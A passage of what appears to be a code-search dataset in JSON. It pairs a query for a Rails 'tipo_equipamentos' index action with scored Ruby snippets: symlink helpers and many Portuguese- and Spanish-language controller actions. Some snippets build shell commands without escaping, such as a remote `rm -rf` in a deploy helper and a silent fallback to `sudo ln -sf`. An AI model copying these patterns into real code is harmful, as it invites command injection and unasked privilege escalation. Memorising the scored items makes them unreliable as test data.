"text": "def ln_s(src, dest)\n if dest.symlink? && dest.readlink == src\n skip_task \"Linking #{src}\", 'Already linked'\n else\n start_task \"Linking #{src}\"\n if dest.exist? || dest.symlink?\n task_failed 'Target already exists'\n else\n FileUtils.ln_s(src, dest)\n task_succeeded\n end\n end\n end",
"title": ""
},
{
"docid": "5c5c5f43ce3f34da84eecdf20e488d00",
"score": "0.6331979",
"text": "def can_symlink?(destination_path)\n File.exists?(destination_path) ? false : true\nend",
"title": ""
},
{
"docid": "5c5c5f43ce3f34da84eecdf20e488d00",
"score": "0.6331979",
"text": "def can_symlink?(destination_path)\n File.exists?(destination_path) ? false : true\nend",
"title": ""
},
{
"docid": "d4cc69c92d1d36275f067c67c3b3916b",
"score": "0.6330577",
"text": "def with_symlinks(&block)\n dir_symlink = 'test/nodejs/fixtures/symlink-to-directory'\n file_symlink = 'test/nodejs/fixtures/symlink-to-file'\n \n File.symlink('.', dir_symlink)\n File.symlink('hello.rb', file_symlink)\n block.call(dir_symlink, file_symlink)\n ensure\n File.unlink(dir_symlink)\n File.unlink(file_symlink)\n end",
"title": ""
},
{
"docid": "6b997bfed9ea0a20dfbec5fab489db19",
"score": "0.6327794",
"text": "def install_file(file)\n backup_file file\n symlink_file file\nend",
"title": ""
},
{
"docid": "0b54b99e235f63450631137b169ee7d3",
"score": "0.6322792",
"text": "def pack_symlinks\n reset_state\n @l.each do |link|\n if @w.path_exists? Entity.linked_path(link[:abs_path], File.readlink(link[:path]))\n link[:name] = link[:abs_path]\n pack_symbolic_link_entity link\n end\n end\n end",
"title": ""
},
{
"docid": "b44363956aa82f92aa6c16585d704680",
"score": "0.6318515",
"text": "def vault_link(version)\n File.unlink('./cookbooks/vault-demo')\n File.symlink(\n File.absolute_path(\"./cookbooks/vault-demo-v#{version}\"),\n File.absolute_path('./cookbooks/vault-demo')\n )\nend",
"title": ""
},
{
"docid": "9a883c4ba1aaabdefaeda732e0aac070",
"score": "0.6297013",
"text": "def create_or_verify_symlink(basename)\n dotfile_name = \".#{basename}\"\n symlink_path = File.join(home_path, dotfile_name)\n dotfile_path = generate_dotfile_path(basename)\n\n if File.exist?(symlink_path)\n if File.symlink?(symlink_path)\n if File.readlink(symlink_path) == dotfile_path\n info \"Symlink verified: %s -> %s\", symlink_path, dotfile_path\n return\n else\n info \"Removing outdated symlink %s\", symlink_path\n rm(symlink_path)\n end\n else\n info \"Found normal file at %s, skipping...\", symlink_path\n return\n end\n end\n\n symlink(dotfile_path, symlink_path)\n end",
"title": ""
},
{
"docid": "722435966b7ba6bf058a6cd3153b9334",
"score": "0.6275434",
"text": "def ln(target, destination)\n dest = File.expand_path destination\n targ = File.expand_path target\n\n # If the destination already exists as a file or directory\n if File.exist?(dest) and File.symlink?(dest)==false\n\n # Ask to delete, then retry linking\n if @options[:force] or ask \"Wait! #{destination} already exists! Overwrite?\"\n rm dest\n ln target, destination\n end\n\n # If the destination is a symlink or doesn't exist\n else\n\n # Ensure the target actually exists\n unless File.exist?(targ)\n puts red(\"[error]\") + gray(\"\\\"#{target}\\\" not found!\")\n else\n\n # First delete the destination if it exists as a directory\n rm dest if File.directory? dest\n\n # Attempt to link this file, sudo-free\n linked = 'Linked '\n output = `ln -sf \"#{targ}\" \"#{dest}\" 2>&1`\n\n # If that doesn't work, go full-sudo\n if output.match(/permission denied/i)\n linked = 'Linked (sudo) '\n `sudo ln -sf \"#{targ}\" \"#{dest}\" 2>&1`\n end\n\n # Report what happened\n puts blue(linked) + gray(dest) + yellow(' -> ') + gray(targ)\n\n end\n end\n end",
"title": ""
},
{
"docid": "35f9dd2e6a8a626103f94618f1a805a2",
"score": "0.6265337",
"text": "def create_sylinked_folders\n @config.do.folder_structure.each_pair do |folder, target_folder|\n next if target_folder.empty?\n @logger.print \"- linking: #{@config.env_time_folder}/#{target_folder}\"\n raise \"Folder: #{@config.env_time_folder.join(target_folder.to_s)} already exists and the symlink can't be created\" if File.directory?(@config.env_time_folder.join(target_folder.to_s))\n create_symlink( @config.deploy_folder.join(folder.to_s), @config.env_time_folder.join(target_folder.to_s) )\n end\n self\n end",
"title": ""
},
{
"docid": "897c5c3d56289172a831d916ada261fe",
"score": "0.6255913",
"text": "def symlink\n current = File.join(@site.config[:remote_root], 'current') \n release = File.join(@site.config[:remote_root], 'releases', @key)\n @site.ssh(\"rm -rf #{current}\") if remote_exists?(current)\n @site.ssh(\"ln -s #{release} #{current}\")\n remote_exists?(current)\n end",
"title": ""
}
] |
2959a11b8378d9d8765c759203f5d376 | GET /tipo_equipamentos GET /tipo_equipamentos.json | [
{
"docid": "79d68b21e0c31168e6181b81674a581b",
"score": "0.0",
"text": "def index\n #@tipo_equipamentos = TipoEquipamento.all\n #@q = TipoEquipamento.ransack(params[:q])\n @tipo_equipamentos = TipoEquipamento.accessible_by(current_ability).order('tipo ASC')\n end",
"title": ""
}
] | [
{
"docid": "d2ab76ec6ac00e5e50175b5aeac401da",
"score": "0.6870426",
"text": "def show\n @equipo = Equipo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @equipo }\n end\n end",
"title": ""
},
{
"docid": "6d5d9fd186421319f0589d5963706140",
"score": "0.67442274",
"text": "def index\n @equipaments = Equipament.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @equipaments }\n end\n end",
"title": ""
},
{
"docid": "45e2f3402418b5a77093c8ef9dbe94e6",
"score": "0.6645193",
"text": "def lista\n @entidades = Entidade.select(\"entidade, slug, latitude, longitude, telecentro, id\").where(\"#{params[:tipo]} = true\")\n\n respond_to do |format|\n format.json { render json: @entidades }\n end\n end",
"title": ""
},
{
"docid": "610dbf8191658c085415246245ba636e",
"score": "0.66396886",
"text": "def show\n @equipament = Equipament.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @equipament }\n end\n end",
"title": ""
},
{
"docid": "a0cc32848691cee6b5091fc49c5f2558",
"score": "0.6622281",
"text": "def show\n @equipo_de_alto_rendimiento = EquipoDeAltoRendimiento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @equipo_de_alto_rendimiento }\n end\n end",
"title": ""
},
{
"docid": "e6f311f786d21c357cb44f677481dd22",
"score": "0.66215026",
"text": "def show\n @equipo_partido = EquipoPartido.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @equipo_partido }\n end\n end",
"title": ""
},
{
"docid": "3e709e61f9fc39015bf2a9cb81a4ff38",
"score": "0.65804905",
"text": "def show\n @tipo_egreso = TipoEgreso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_egreso }\n end\n end",
"title": ""
},
{
"docid": "f98d846cd877dda91febc1c75213590a",
"score": "0.6579454",
"text": "def index\n @equipo_de_alto_rendimientos = EquipoDeAltoRendimiento.all\n \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @equipo_de_alto_rendimientos }\n end\n end",
"title": ""
},
{
"docid": "3ae85848340fa5da14e1bc5967a682c9",
"score": "0.65292555",
"text": "def show\n @tipo = Tipo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo }\n end\n end",
"title": ""
},
{
"docid": "d74792ef792a5b45af71d15ef68bbf9a",
"score": "0.6525597",
"text": "def new\n @equipo = Equipo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @equipo }\n end\n end",
"title": ""
},
{
"docid": "a95a8fb75b9893b7ba7ce8a294f80c9a",
"score": "0.6493066",
"text": "def show\n @tipo_imovel = TipoImovel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_imovel }\n end\n end",
"title": ""
},
{
"docid": "1b58fdb867471222374a369b42a8eee0",
"score": "0.64705634",
"text": "def index\n @equipo_promocions = EquipoPromocion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @equipo_promocions }\n end\n end",
"title": ""
},
{
"docid": "a5d4128f9a065abbe74de73e8253f1aa",
"score": "0.6447065",
"text": "def show\n @tipo_seguro = TipoSeguro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_seguro }\n end\n end",
"title": ""
},
{
"docid": "71be772236007c7e57a0d5772e4049f2",
"score": "0.640526",
"text": "def index\n @pregunta = Pregunta.all\n\n # buscamos parametro de tipo para filtrar la consulta\n if tipo = params[:tipo]\n @pregunta = @pregunta.where(tipo: tipo)\n end\n\n respond_to do |format|\n if @pregunta.count > 0\n #render json:@pregunta, :only =>[:id, :descripcion, :obligatoria], status: :ok \n format.json\n else\n format.json { render json:Pregunta.none, status: :no_content }\n end\n end\n end",
"title": ""
},
{
"docid": "0c22630d6afd136749c342c89a54a4bd",
"score": "0.6361998",
"text": "def index\n @equipamentos = Equipamento.all\n end",
"title": ""
},
{
"docid": "63930a751e5b0e5548c7f8605144fc1c",
"score": "0.6354251",
"text": "def show\n @tipo_apuestum = TipoApuestum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_apuestum }\n end\n end",
"title": ""
},
{
"docid": "53f3a790e49a7ffd397c4642554c4fe6",
"score": "0.63528126",
"text": "def show\n @equipmenttype = Equipmenttype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @equipmenttype }\n end\n end",
"title": ""
},
{
"docid": "2f9c54140f7a6c39be9db235aea7d0b8",
"score": "0.6342687",
"text": "def new\n @equipo_partido = EquipoPartido.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @equipo_partido }\n end\n end",
"title": ""
},
{
"docid": "3f38c6d00619b661defcd6b6cea46027",
"score": "0.6320871",
"text": "def buscar_estados\n render json: Estado.by_pais(params[:pais_id])\n end",
"title": ""
},
{
"docid": "11bcd3132a987e7e74e3baae868a639a",
"score": "0.631727",
"text": "def show\n @tipologium = Tipologium.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipologium }\n end\n end",
"title": ""
},
{
"docid": "a4326ca3557511019d221e4777c825ad",
"score": "0.63151914",
"text": "def index\n @tipo_actividades = TipoActividad.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @tipo_actividades }\n end\n end",
"title": ""
},
{
"docid": "ccb8efaa2b23124fd96b7fe15ef6072c",
"score": "0.63034475",
"text": "def index\n @tactical_equipments = TacticalEquipment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tactical_equipments }\n end\n end",
"title": ""
},
{
"docid": "f27f58934014e45eba48f27aa12055b0",
"score": "0.630125",
"text": "def index\n @situation_teaching_equipaments = SituationTeachingEquipament.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @situation_teaching_equipaments }\n end\n end",
"title": ""
},
{
"docid": "16ee7d0f9f10e3035e98e5a9b05da231",
"score": "0.6283594",
"text": "def new\n @equipament = Equipament.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @equipament }\n end\n end",
"title": ""
},
{
"docid": "d7055b0d4c73a89f4e1b51ed8e3667a0",
"score": "0.6281221",
"text": "def show\n @tipo_entidad = TipoEntidad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_entidad }\n end\n end",
"title": ""
},
{
"docid": "4b5aa009ea54839233fa38d82ada8474",
"score": "0.6277874",
"text": "def show\n @cargo_tipo = CargoTipo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cargo_tipo }\n end\n end",
"title": ""
},
{
"docid": "6db6b6f31158fa12f161530a2d652a21",
"score": "0.627415",
"text": "def get_tipo \r\n # tem um @pedido\r\n if (@pedido.equipamento_id == nil)\r\n @tipo = \"servico\"\r\n else\r\n @tipo = \"equipamento\"\r\n end\r\n end",
"title": ""
},
{
"docid": "831d445dfc672d36e4d51cbd97d88c75",
"score": "0.6264584",
"text": "def index\n @type_equipaments = TypeEquipament.all\n end",
"title": ""
},
{
"docid": "2f42cee79d4dc071a12cb09e59289664",
"score": "0.62573105",
"text": "def show\n @tipo_cargo = TipoCargo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_cargo }\n end\n end",
"title": ""
},
{
"docid": "aa984abc773c328bfae3ed0240031101",
"score": "0.6253209",
"text": "def show\n @tipo_producto = TipoProducto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_producto }\n end\n end",
"title": ""
},
{
"docid": "adb6cdd812555433ac51741458eca4b4",
"score": "0.6234062",
"text": "def show\n @tipo_nota = TipoNota.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_nota }\n end\n end",
"title": ""
},
{
"docid": "adb6cdd812555433ac51741458eca4b4",
"score": "0.6234062",
"text": "def show\n @tipo_nota = TipoNota.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_nota }\n end\n end",
"title": ""
},
{
"docid": "4f3576aa1da23380827b35a7d2edde89",
"score": "0.6230249",
"text": "def index\n @tipo_aulas = TipoAula.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @tipo_aulas }\n end\n end",
"title": ""
},
{
"docid": "8ae9596e2b433d7c9fb1ccaf32d6676c",
"score": "0.6211259",
"text": "def new\n @vocero = Vocero.new\n @organizacion = Organizacion.all#Organizacion.where(:tipo_id => 1)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vocero }\n end\n end",
"title": ""
},
{
"docid": "6889453d4e18cfa404bf61cae696894f",
"score": "0.6199633",
"text": "def show\n @tipo_aula = TipoAula.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @tipo_aula }\n end\n end",
"title": ""
},
{
"docid": "b705ca6967d82a556d8b6fabda8f742f",
"score": "0.6182013",
"text": "def show\n @teatype = TeaType.find(params[:id])\n @teas = @teatype.teas\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tea_type }\n end\n end",
"title": ""
},
{
"docid": "8ef0ef8c5d7ba8b00f1b31bb081747d3",
"score": "0.61808336",
"text": "def index\n @nivels = Nivel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @nivels }\n end\n end",
"title": ""
},
{
"docid": "79cae82470b624c9e22b2101f023804f",
"score": "0.6179296",
"text": "def show\n @tipo_webnota = TipoWebnota.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_webnota }\n end\n end",
"title": ""
},
{
"docid": "b4d9911175cfd15c62f20e114b182bcc",
"score": "0.61791724",
"text": "def show\n screen_name(\"Admin-Mostrar-Tipo-OT\")\n @ot_type = OtType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ot_type }\n end\n end",
"title": ""
},
{
"docid": "f48ef8d72edf59e38afc25c9c3354397",
"score": "0.6173454",
"text": "def show\n @tipo_personaje = TipoPersonaje.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_personaje }\n end\n end",
"title": ""
},
{
"docid": "3fec0bece7c3da16a46dbba11af29645",
"score": "0.6170098",
"text": "def index\n @equipamentos = Equipamento.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @equipamentos }\n end\n end",
"title": ""
},
{
"docid": "5f7ddfd59c9d1490925c5e487d217785",
"score": "0.6158307",
"text": "def show\n @equipo_promocion = EquipoPromocion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @equipo_promocion }\n end\n end",
"title": ""
},
{
"docid": "193b74b5f9c9d3799c8e2d710665e820",
"score": "0.6151288",
"text": "def index\n @comentarios_estrategia = ComentariosEstrategium.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @comentarios_estrategia }\n end\n end",
"title": ""
},
{
"docid": "ee08858cabf883661dcc3e1c68b0c342",
"score": "0.6148477",
"text": "def index\n @tipo_participantes = TipoParticipante.all\n render json: @tipo_participantes\n end",
"title": ""
},
{
"docid": "283584c2e557580b783c505e6f2697ee",
"score": "0.6145487",
"text": "def index\n @tipees = Tipee.all\n json_response(@tipees)\n end",
"title": ""
},
{
"docid": "ea44e657180e46fb6805b7ad22feaedc",
"score": "0.61450994",
"text": "def index\n # If technotype parameter, get all technos for one type\n if technotype_id = params[:technotype_id]\n @technos = Technotype.includes(:technos).find(technotype_id).technos\n else\n @technos = Techno.all\n end\n\n respond_to do |format|\n format.json { render json: @technos, status: 200 }\n end\n end",
"title": ""
},
{
"docid": "5c9482432e8e438da3cbc4795009eff8",
"score": "0.614005",
"text": "def show\n @tipo_requerimiento = TipoRequerimiento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_requerimiento }\n end\n end",
"title": ""
},
{
"docid": "3a98fdb2e5775b24abd9b76b8f1e6eef",
"score": "0.61364734",
"text": "def show\n @estudiante = Estudiante.find(params[:id])\n\n render json: @estudiante\n end",
"title": ""
},
{
"docid": "eb836803383637fc0d354cd56417177e",
"score": "0.61351025",
"text": "def show\n @tipo_actividad = TipoActividad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @tipo_actividad }\n end\n end",
"title": ""
},
{
"docid": "654975a799fec411113504e18e827633",
"score": "0.6132609",
"text": "def index\n @equipment = Equipment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @equipment }\n end\n end",
"title": ""
},
{
"docid": "654975a799fec411113504e18e827633",
"score": "0.6132609",
"text": "def index\n @equipment = Equipment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @equipment }\n end\n end",
"title": ""
},
{
"docid": "f26288b0f592c9b88dd2a808e23f0c8b",
"score": "0.61191314",
"text": "def show\n @tipo_ingreso = TipoIngreso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_ingreso }\n end\n end",
"title": ""
},
{
"docid": "74ffb1594ab59f5e06ec4e5f18cd6659",
"score": "0.6113931",
"text": "def show\n @cliente = Cliente.find(params[:cliente_id])\n @client_equipment = @cliente.client_equipments.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @client_equipment }\n end\n end",
"title": ""
},
{
"docid": "23371346d58204aa947a18716426eea6",
"score": "0.6098613",
"text": "def show\n @core_tipo_solucao = Core::TipoSolucao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @core_tipo_solucao }\n end\n end",
"title": ""
},
{
"docid": "b2af25ced610622cc2fea3808bc71417",
"score": "0.60942113",
"text": "def show\n @equipment = Equipment.find(params[:id])\n\n render json: @equipment\n end",
"title": ""
},
{
"docid": "e23c310132b772cce27d193038e974d0",
"score": "0.6094048",
"text": "def show\n @tipo_mesa = TipoMesa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_mesa }\n end\n end",
"title": ""
},
{
"docid": "b497c1b52d433b3484becbd2624cf58c",
"score": "0.6092989",
"text": "def show\n @torneotipo = Torneotipo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @torneotipo }\n end\n end",
"title": ""
},
{
"docid": "a5f66210768a85a46ce7d453ed2475cb",
"score": "0.60929304",
"text": "def show\n @lectivo = Lectivo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lectivo }\n end\n end",
"title": ""
},
{
"docid": "4ec9cee6cbadfd4af71f76c1e40a6a55",
"score": "0.6087541",
"text": "def show\n @equipe = Equipe.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @equipe }\n end\n end",
"title": ""
},
{
"docid": "542411bbb5f75c07454bae3a052b07b3",
"score": "0.60830677",
"text": "def index\n screen_name(\"Admin-Indice-Tipos-OT\")\n @ot_types = OtType.order(\"name ASC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ot_types }\n end\n end",
"title": ""
},
{
"docid": "da8b3b73ed24415aa14e34ccf6997e33",
"score": "0.6071905",
"text": "def set_tipo_equipamento\n @tipo_equipamento = TipoEquipamento.accessible_by(current_ability).find(params[:id])\n end",
"title": ""
},
{
"docid": "bafd661f81a1405fc25dff9e0fcf8093",
"score": "0.6069375",
"text": "def index\n @etudes = @projet.etudes.all.sort(_id: -1)\n @modif_supp = Etude.modif_supp_apparents(@etudes)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @etudes }\n end\n end",
"title": ""
},
{
"docid": "3a3f7c10bd0465e77aaf5bdbd7dc47e0",
"score": "0.60668504",
"text": "def new\n @equipo_de_alto_rendimiento = EquipoDeAltoRendimiento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @equipo_de_alto_rendimiento }\n end\n end",
"title": ""
},
{
"docid": "d2ea8d158487c090121af0c524a4f72c",
"score": "0.6063156",
"text": "def show\n @etude = @projet.etudes.find(params[:id])\n @modif_supp = Etude.modif_supp_apparents([@etude])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @etude }\n end\n end",
"title": ""
},
{
"docid": "240e8033e89e1c8512d06cbe9b7f10a0",
"score": "0.60591286",
"text": "def show\n @core_tipo_detalhe = Core::TipoDetalhe.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @core_tipo_detalhe }\n end\n end",
"title": ""
},
{
"docid": "95957d33eda763e0f5181c54beb1f890",
"score": "0.60526943",
"text": "def index\n \t@episodios = Episodio.where(serie_id: params[:serie_id],ativo: true)\n render json: @episodios\n end",
"title": ""
},
{
"docid": "eab9bf0c6a00b545954f1ab8818bc9e6",
"score": "0.6051138",
"text": "def show\n @nivel = Nivel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @nivel }\n end\n end",
"title": ""
},
{
"docid": "eab9bf0c6a00b545954f1ab8818bc9e6",
"score": "0.6051138",
"text": "def show\n @nivel = Nivel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @nivel }\n end\n end",
"title": ""
},
{
"docid": "b57400937119037f86ab28c8e74742df",
"score": "0.60485053",
"text": "def show\n @situation_teaching_equipament = SituationTeachingEquipament.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @situation_teaching_equipament }\n end\n end",
"title": ""
},
{
"docid": "1c2cca5852622a66612cd3c3693d58ee",
"score": "0.604099",
"text": "def index\n @nuestro_equipos = NuestroEquipo.all\n end",
"title": ""
},
{
"docid": "b23ac5d1e1fa78f0c77cd26fd66914dc",
"score": "0.60397017",
"text": "def show\n @equipamento = Equipamento.all\n respond_to do |format|\n format.html\n format.json {render json: @arduino}\n format.xml {render xml: @arduino}\n end\n end",
"title": ""
},
{
"docid": "2b49a7352b61280fa917aaa3c1345e09",
"score": "0.60329354",
"text": "def show\n @tipo_organo_de_gobierno = TipoOrganoDeGobierno.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_organo_de_gobierno }\n end\n end",
"title": ""
},
{
"docid": "1a35bc67b9ea3b6afa9b3bccbbc27d74",
"score": "0.60322976",
"text": "def show\n @compromiso = Compromiso.find(params[:id])\n @estudiantes = Estudiante.find_by_sql('SELECT E.codigoEstudiante,\n E.nombreEstudiante,\n E.tesis_id\n FROM Estudiantes E\n ,Compromisos_Estudiantes EC\n ,Compromisos C\n WHERE E.id = EC.Estudiante_id\n AND C.id = EC.Compromiso_id\n AND C.id = ' + params[:id])\n\n @estudiantes.each do |t|\n @tesis = Tese.find(t.tesis_id)\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @compromiso }\n end\n end",
"title": ""
},
{
"docid": "b6573bb9fc63efaa52af0c4f37b1e7f4",
"score": "0.6027304",
"text": "def mostrar_aportes\n @aportes = Aporte.where(:socio_id=>params[:socio_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @aportes }\n end\n end",
"title": ""
},
{
"docid": "a9563223dcdd72fe33b954b987773523",
"score": "0.60240924",
"text": "def index\n @exercise_types = ExerciseType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @exercise_types }\n end\n end",
"title": ""
},
{
"docid": "42dd9e80258ae1fcca21b62ce97b36ea",
"score": "0.60125035",
"text": "def show\n @tipolog = Tipolog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipolog }\n end\n end",
"title": ""
},
{
"docid": "82e529915243895e4c244655f8271049",
"score": "0.6007371",
"text": "def show\n @etude = Etude.find(params[:id])\n @etude.lit_rentabilite\n @modif = Etude.modif_supp_apparents([@etude])[@etude._id][:modif]\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @etude }\n end\n end",
"title": ""
},
{
"docid": "82e529915243895e4c244655f8271049",
"score": "0.6007371",
"text": "def show\n @etude = Etude.find(params[:id])\n @etude.lit_rentabilite\n @modif = Etude.modif_supp_apparents([@etude])[@etude._id][:modif]\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @etude }\n end\n end",
"title": ""
},
{
"docid": "82e529915243895e4c244655f8271049",
"score": "0.6007371",
"text": "def show\n @etude = Etude.find(params[:id])\n @etude.lit_rentabilite\n @modif = Etude.modif_supp_apparents([@etude])[@etude._id][:modif]\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @etude }\n end\n end",
"title": ""
},
{
"docid": "383c34271dd1afbe17d322bebcd45ba6",
"score": "0.6004422",
"text": "def index\n @tipo_de_admisions = TipoDeAdmision.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tipo_de_admisions }\n end\n end",
"title": ""
},
{
"docid": "a559128498c539692cd392d992863e49",
"score": "0.59978426",
"text": "def show\n @tipo_evento = TipoEvento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_evento }\n end\n end",
"title": ""
},
{
"docid": "a559128498c539692cd392d992863e49",
"score": "0.59978426",
"text": "def show\n @tipo_evento = TipoEvento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_evento }\n end\n end",
"title": ""
},
{
"docid": "08638ccfc93a63bd7b1d8db728843fa6",
"score": "0.59957916",
"text": "def show\n @comentarios_estrategium = ComentariosEstrategium.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comentarios_estrategium }\n end\n end",
"title": ""
},
{
"docid": "d91cb322d6e6aaaacfb1e5d03151be5d",
"score": "0.59944326",
"text": "def show\n @estudiante = Estudiante.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @estudiante }\n end\n end",
"title": ""
},
{
"docid": "4b2a68d0f45cf8b6ebfcdda0e1f463b8",
"score": "0.5990278",
"text": "def show\n @materia_tipo_pensum = MateriaTipoPensum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @materia_tipo_pensum }\n end\n end",
"title": ""
},
{
"docid": "d9467b9d3d5e8218c73eaa87d401a341",
"score": "0.5988808",
"text": "def index\n @produits = Produit.where(:type_of_produit => \"Produit\").limit(15).order(\"created_at DESC\")\n @services = Produit.where(:type_of_produit => \"Service\").limit(15).order(\"created_at DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @produits }\n end\n end",
"title": ""
},
{
"docid": "180f7561a0333a4bf09e54151e389cc4",
"score": "0.5987466",
"text": "def index\n @dept = Dept.find((params[:dept_id]))\n @teaching_equipaments = TeachingEquipament.where(\"dept_id = ?\", params[:dept_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @teaching_equipaments }\n end\n end",
"title": ""
},
{
"docid": "24a536fb0104c2cc38a74df47ad8c0b8",
"score": "0.5985511",
"text": "def show\n @opcion = Opcion.find(params[:id])\n\n render json: @opcion\n end",
"title": ""
},
{
"docid": "c44a643f57b159206b8f52a78fd89a16",
"score": "0.59840363",
"text": "def show\n @equipamentos = @estacao.equipamentos.paginate(page: params[:page], per_page: 5)\n @circuitoDados = Circuitodado.where(estacaoAcesso: @estacao.pop).paginate(page: params[:page], per_page: 5)\n end",
"title": ""
},
{
"docid": "bf09138ee62e2b06dfff7cac82b59b5b",
"score": "0.598086",
"text": "def index\n @establecimiento_productos = EstablecimientoProducto.all\n\n render json: @establecimiento_productos\n end",
"title": ""
},
{
"docid": "8616d49483e42c4e6d44efe347de6bab",
"score": "0.59791136",
"text": "def show\n @tipo_de_admision = TipoDeAdmision.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_de_admision }\n end\n end",
"title": ""
},
{
"docid": "cd72c3f3c867733d15b504a35b3f9b3c",
"score": "0.59619975",
"text": "def index\n @empresas = Empresa.all\n \n render json: @empresas, include: [:politica, :activo, :acceso, :ambiente, :operativa, :tele, :desarrollo]\n end",
"title": ""
},
{
"docid": "18a396c2c40f2f3405d1320b968b1596",
"score": "0.5960703",
"text": "def index\n @partidos = Partido.all\n render json: @partidos, status: :ok\n end",
"title": ""
},
{
"docid": "7fdfc4ca9185e66b54fed0c628a151b9",
"score": "0.59529454",
"text": "def show\n @type_de_mouvement = TypeDeMouvement.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @type_de_mouvement }\n end\n end",
"title": ""
},
{
"docid": "8083d17d825e9fa61dad2888519ddbaa",
"score": "0.5951143",
"text": "def index\n @pedidos = @producto.pedidos\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pedidos }\n end\n end",
"title": ""
},
{
"docid": "9607b3b58f5ebeeac857bc2a21f9d8db",
"score": "0.59495646",
